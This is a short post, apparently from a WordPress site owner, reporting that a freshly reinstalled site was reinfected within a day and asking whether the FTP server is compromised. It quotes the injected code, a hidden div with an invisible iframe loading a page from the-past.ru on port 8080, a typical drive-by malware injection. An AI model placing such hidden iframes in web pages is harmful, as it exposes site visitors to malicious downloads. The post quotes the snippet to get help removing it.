Well, I did the “reformat” process in where i place a brand new WP in my server and it ran well for one day… and after:
<div style="display:none">rmaiefegwuhtkejukmzkvkuohweduhd<iframe width=360 height=619 src="http://the-past.ru:8080/index.php" ></iframe></div>
Could this be a possible infection on the ftp server already? :/